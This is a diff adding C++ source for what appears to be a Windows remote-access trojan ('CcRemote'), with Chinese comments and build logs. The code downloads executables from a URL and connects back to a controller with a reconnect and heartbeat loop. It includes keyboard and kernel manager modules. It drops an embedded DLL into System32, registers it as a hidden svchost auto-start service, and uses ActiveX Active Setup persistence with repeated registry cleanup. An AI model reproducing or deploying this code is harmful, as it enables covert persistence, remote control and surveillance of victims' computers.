char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
hInternet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pMozilla;
if (hInternet == NULL)
return false;
hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hUrl == NULL)
return false;
hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
do
{
memset(buffer, 0, sizeof(buffer));
InternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead);
// <20><><EFBFBD>жϵ<D0B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7>PE<50>ļ<EFBFBD>
if (bIsFirstPacket && ((PIMAGE_DOS_HEADER)buffer)->e_magic != IMAGE_DOS_SIGNATURE)
{
bRet = false;
break;
}
bIsFirstPacket = false;
WriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
} while(dwBytesRead > 0);
CloseHandle(hFile);
}
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return bRet;
}
#endif // !defined(AFX_UNTIL_CPP_INCLUDED)

View File

@@ -0,0 +1,33 @@
#if !defined(AFX_UNTIL_H_INCLUDED)
#define AFX_UNTIL_H_INCLUDED
#include "RegEditEx.h"
typedef struct
{
unsigned ( __stdcall *start_address )( void * );
void *arglist;
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HANDLE hEventTransferArg;
}THREAD_ARGLIST, *LPTHREAD_ARGLIST;
unsigned int __stdcall ThreadLoader(LPVOID param);
HANDLE MyCreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive = false);
DWORD GetProcessID(LPCTSTR lpProcessName);
char *GetLogUserXP();
char *GetLogUser2K();
char *GetCurrentLoginUser();
bool SwitchInputDesktop();
BOOL SelectHDESK(HDESK new_desktop);
BOOL SelectDesktop(char *name);
BOOL SimulateCtrlAltDel();
bool http_get(LPCTSTR szURL, LPCTSTR szFileName);
#endif // !defined(AFX_UNTIL_H_INCLUDED)

View File

@@ -0,0 +1,373 @@
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "common/KeyboardManager.h"
#include "common/KernelManager.h"
#include "common/login.h"
#include "common/install.h"
#include <stdio.h>
#include <shlwapi.h>
#pragma comment(lib,"shlwapi.lib")
struct Connect_Address
{
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28256,"",0,"" };
DWORD WINAPI DelAXRegThread(LPVOID lpParam);
char svcname[MAX_PATH];
SERVICE_STATUS_HANDLE hServiceStatus;
DWORD g_dwCurrState;
char g_strSvchostName[MAX_PATH];//服务名
char g_strHost[MAX_PATH];
DWORD g_dwPort;
DWORD g_dwServiceType;
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR, // 获取信息失败
CONNECT_ERROR, // 链接失败
HEARTBEATTIMEOUT_ERROR // 心跳超时链接失败
};
DWORD WINAPI main(char *lpServiceName);
//处理异常
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
// 发生异常,重新创建进程
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strSvchostName, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
DWORD WINAPI main(char *lpServiceName)
{
strcpy(g_strHost, g_myAddress.strIP);
g_dwPort = g_myAddress.nPort;
// lpServiceName,在ServiceMain返回后就没有了
char strServiceName[256] = {0};
char strKillEvent[50] = { 0 };
HANDLE hInstallMutex = NULL;
//////////////////////////////////////////////////////////////////////////
// Set Window Station
HWINSTA hOldStation = GetProcessWindowStation();
//---------------------------------------------------------------------------
//char winsta0[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5};// winsta0
//char* lpszWinSta = decodeStr(winsta0); // 解密函数
//
//HWINSTA hWinSta = OpenWindowStation(lpszWinSta, FALSE, MAXIMUM_ALLOWED);
//
//memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); // 填充0
//delete lpszWinSta; // 释放
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
//---------------------------------------------------------------------------
if (hWinSta != NULL)
SetProcessWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
// 这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
// 这里要在dllmain中为CKeyboardManager::g_hInstance赋值
if (CKeyboardManager::g_hInstance != NULL)
{
//设置异常
SetUnhandledExceptionFilter(bad_exception);
lstrcpy(strServiceName, lpServiceName);
wsprintf(strKillEvent, "Global\\CcRem %d", GetTickCount()); // 随机事件名
//wsprintf(strKillEvent, "Global\\Net_%d", GetTickCount()); // 随机事件名
hInstallMutex = CreateMutex(NULL, true, g_strHost);
// ReConfigService(strServiceName);
// 删除安装文件
// DeleteInstallFile(lpServiceName);
}
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
char *lpszHost = NULL;
DWORD dwPort = 80;
char *lpszProxyHost = NULL;
DWORD dwProxyPort = 0;
char *lpszProxyUser = NULL;
char *lpszProxyPass = NULL;
HANDLE hEvent = NULL;
//---这里声明了一个 CClientSocket类
CClientSocket socketClient;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
//这个循环里判断是否连接成功如果不成功则继续向下
while (1)
{
// 如果不是心跳超时不用再sleep两分钟
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分钟断线重连, 为了尽快响应killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
break;
}
// 改一下
Sleep(60);
}
}
//上线地址
lpszHost = g_strHost;
dwPort = g_dwPort;
if (lpszProxyHost != NULL)
socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
else
socketClient.setGlobalProxyOption();
DWORD dwTickCount = GetTickCount();
//---调用Connect函数向主控端发起连接
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
continue;
}
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
// 接成功后声明了一个CKernelManager 到CKernelManager
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
// socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
//每个功能类都有OnReceive函数来处理接受的数据他们都继承自父类CManager
socketClient.setManagerCallBack(&manager);
//////////////////////////////////////////////////////////////////////////
// 等待控制端发送激活命令超时为10秒重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令说明对方不是控制端重新连接获取是否有效标志
if (!manager.IsActived())
continue;
//////////////////////////////////////////////////////////////////////////
DWORD dwIOCPEvent;
dwTickCount = GetTickCount();// 获取时间戳
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}
#ifdef _DLL
//////////////////////////////////////////////////////////////////////////
// Restor WindowStation and Desktop
// 不需要恢复桌面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
// SetProcessWindowStation(hOldStation);
// CloseWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
#endif
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
CKeyboardManager::m_dwLastMsgTime = GetTickCount();
CKeyboardManager::Initialization();
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
{
SERVICE_STATUS srvStatus;
srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
srvStatus.dwCurrentState = g_dwCurrState = dwState;
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitCode;
srvStatus.dwServiceSpecificExitCode = 0;
srvStatus.dwCheckPoint = dwProgress;
srvStatus.dwWaitHint = 1000;
return SetServiceStatus(hServiceStatus, &srvStatus);
}
void __stdcall ServiceHandler(DWORD dwControl)
{
// not really necessary because the service stops quickly
switch (dwControl)
{
case SERVICE_CONTROL_STOP:
TellSCM(SERVICE_STOP_PENDING, 0, 1);
Sleep(10);
TellSCM(SERVICE_STOPPED, 0, 0);
break;
case SERVICE_CONTROL_PAUSE:
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
TellSCM(SERVICE_PAUSED, 0, 0);
break;
case SERVICE_CONTROL_CONTINUE:
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
break;
case SERVICE_CONTROL_INTERROGATE:
TellSCM(g_dwCurrState, 0, 0);
break;
}
}
extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
{
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
wcstombs(svcname, argv[0], sizeof svcname);
hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler);
if (hServiceStatus == NULL)
{
return;
}
else FreeConsole();
TellSCM(SERVICE_START_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
// call Real Service function noew
g_dwServiceType = QueryServiceTypeFromRegedit(svcname);
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
do {
Sleep(100);//not quit until receive stop command, otherwise the service will stop
} while (g_dwCurrState != SERVICE_STOP_PENDING && g_dwCurrState != SERVICE_STOPPED);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
if (g_dwServiceType == 0x120)
{
//Shared的服务 ServiceMain 不退出不然一些系统上svchost进程也会退出
while (1) Sleep(10000);
}
return;
}
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); // 保存上线地址
g_dwPort = nPort; // 保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
void TestFuns(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); // 保存上线地址
g_dwPort = nPort; // 保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
extern "C" __declspec(dllexport) void MainRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
{
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL);
char strHost[] = "127.0.0.1"; // 声明上线地址
int nPort = 8088; // 声明上线端口
TestFuns(strHost, nPort);
}
extern "C" __declspec(dllexport) void FirstRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
{
char strMyFileName[MAX_PATH], strCmdLine[MAX_PATH];
ZeroMemory(strMyFileName, MAX_PATH);
ZeroMemory(strCmdLine, MAX_PATH);
//得到自身文件名
GetModuleFileName(CKeyboardManager::g_hInstance, strMyFileName, MAX_PATH);
//构造启动参数
sprintf(strCmdLine, "%s %s,MainRun", "rundll32.exe", strMyFileName);
//启动服务端
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcessInformation;
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.lpDesktop = NULL;
StartInfo.lpReserved = NULL;
StartInfo.lpTitle = NULL;
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
StartInfo.cbReserved2 = 0;
StartInfo.lpReserved2 = NULL;
StartInfo.wShowWindow = SW_SHOWNORMAL;
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
}
DWORD WINAPI DelAXRegThread(LPVOID lpParam)
{
char ActiveXStr[1024]; // activex 键值字符串
char ActiveXStr32[1024]; // activex 键值字符串
ZeroMemory(ActiveXStr, 1024);
ZeroMemory(ActiveXStr32, 1024);
if (g_myAddress.ActiveXKeyGuid != NULL)
{
//构造键值
sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid);
sprintf(ActiveXStr32, "%s%s", "Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid);
while (1)
{
//不停的删除注册表
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr);
OutputDebugString(ActiveXStr); // 输出删除的字串用以测试
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr32);
OutputDebugString(ActiveXStr32);
Sleep(1000 * 30);
}
}
return 0;
}

View File

@@ -0,0 +1,5 @@
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

View File

@@ -0,0 +1,5 @@
// pch.cpp: 与预编译标头对应的源文件
#include "pch.h"
// 当使用预编译的头时,需要使用此源文件,编译才能成功。

14
CcMainDll/CcMainDll/pch.h Normal file
View File

@@ -0,0 +1,14 @@
// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。
#ifndef PCH_H
#define PCH_H
// 添加要在此处预编译的标头
#include "framework.h"
#endif //PCH_H

View File

@@ -0,0 +1,17 @@
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj
f:\myapp\ccremote\bin\server\loder.exe
f:\myapp\ccremote\bin\server\loder.ilk
f:\myapp\ccremote\bin\server\loder.pdb
f:\myapp\ccremote\ccmaindll\loder\debug\loder.res
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog

View File

@@ -0,0 +1,30 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
Loder.cpp
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe

Binary file not shown.

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|

366
CcMainDll/Loder/Loder.cpp Normal file
View File

@@ -0,0 +1,366 @@
// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <afx.h>
#include <iostream>
#include <Windows.h>
#include "resource.h"
#include "RegEditEx.h"
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
struct Connect_Address
{
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28257,"",0,"" };
int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da, i, j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j++)
if (mem[i + j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
{
DWORD dwWritten;
HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != NULL)
{
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
}
else
{
return false;
}
CloseHandle(hFile);
return true;
}
//要释放的路径 资源ID 资源名
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName,char* pActiveXKeyGuid = NULL)
{
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize;
LPBYTE p;
// 查找所需的资源
hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
if (hResInfo == NULL)
{
//MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);
// 装载资源
hResData = LoadResource(NULL, hResInfo);
if (hResData == NULL)
{
//MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
{
//MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
// 设置guid
if (pActiveXKeyGuid != NULL)
{
g_myAddress.dwstact = g_myAddress.dwstact - 1;//不然内存中会有两个CC28256 我们只招一个
int nOffset = memfind((char*)p, (char*)&g_myAddress.dwstact, dwSize, sizeof(DWORD));
if (nOffset >= 0)
{
memcpy(&g_myAddress, p + nOffset, sizeof(Connect_Address));
strcpy(g_myAddress.ActiveXKeyGuid, pActiveXKeyGuid);
memcpy(p + nOffset, &g_myAddress, sizeof(Connect_Address));
}
}
bool bRet = CreateMyFile(strFilePath, p, dwSize);
if (!bRet)
{
GlobalFree((HGLOBAL)p);
return false;
}
GlobalFree((HGLOBAL)p);
return true;
}
char *AddsvchostService()
{
char *lpServiceName = NULL;
int rc = 0;
HKEY hkRoot;
char buff[2048];
//打开装所有svchost服务名的注册表键
//query svchost setting
char *ptr;
char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
if (ERROR_SUCCESS != rc)
return NULL;
DWORD type, size = sizeof buff;
//枚举他所有的服务名
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
SetLastError(rc);
if (ERROR_SUCCESS != rc)
RegCloseKey(hkRoot);
int i = 0;
bool bExist = false;
char servicename[50];
do
{
//这里获得类似这样的服务名netsvcs_0netsvcs_1
wsprintf(servicename, "netsvcs_0x%d", i);
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
{
//然后比对一下服务名中是否有这个名字了
if (lstrcmpi(ptr, servicename) == 0)
{
bExist = true;
break; //如果没有就跳出
}
}
if (bExist == false)
break;
bExist = false;
i++;
} while (1);
servicename[lstrlen(servicename) + 1] = '\0';
//然后将这个服务名写到所有服务名的后面,
//不要妄想直接用api在一个注册表的键值后面添加一些信息
memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2);
//然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1);
RegCloseKey(hkRoot);
SetLastError(rc);
if (bExist == false)
{
lpServiceName = new char[lstrlen(servicename) + 1];
lstrcpy(lpServiceName, servicename);
}
//回到 InstallService
return lpServiceName;
}
void StartService(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager)
{
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
if (NULL != hService)
{
StartService(hService, 0, NULL);
CloseServiceHandle(hService);
printf("lpService");
}
CloseServiceHandle(hSCManager);
}
}
int ServerSetup()
{
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
char lpServiceDescription[]= "CcRemote服务";
char strModulePath[MAX_PATH];
char strSysDir[MAX_PATH];
char strSubKey[1024];
DWORD dwStartType = 0;
char strRegKey[1024];
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;
//打开服务
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
GetSystemDirectory(strSysDir, sizeof(strSysDir));
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
char lpServiceDisplayName[128] = {0};
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
//这里返回新的服务名后就构造服务dll的名字
memset(strModulePath, 0, sizeof(strModulePath));
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
//然后构造服务中的描述信息的位置
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
schService = CreateService(
hscm, // SCManager database
lpServiceName, // name of service
lpServiceDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
bin, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
dwStartType = SERVICE_WIN32_OWN_PROCESS;
if (schService == NULL)
{
throw "CreateService(Parameters)";
printf("schServicenull");
}
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
hkRoot = HKEY_LOCAL_MACHINE;
//这里构造服务的描述键
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
{
DWORD dwServiceType = 0x120;
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
}
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
lstrcat(strSubKey, "\\Parameters");
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
if (schService != NULL)
{
CreateEXE(strModulePath, IDR_DLL1, "DLL");
StartService(lpServiceName);
}
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
system("pause");
return 0;
}
BOOL GetNUM(char *num)
{
CoInitialize(NULL);
char buf[64] = { 0 };
GUID guid;
if (S_OK == ::CoCreateGuid(&guid))
{
_snprintf(buf, sizeof(buf)
, "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}"
, guid.Data1
, guid.Data2
, guid.Data3
, guid.Data4[0], guid.Data4[1], guid.Data4[2]
, guid.Data4[3], guid.Data4[4], guid.Data4[5]
, guid.Data4[6], guid.Data4[7]
);
}
CoUninitialize();
memcpy(num, buf, 64);
return TRUE;
}
void ActiveXSetup()
{
HKEY hKey;
char strFileName[MAX_PATH]; // dll文件名
char ActivexStr[1024]; // 用于存储ActiveX的键字串
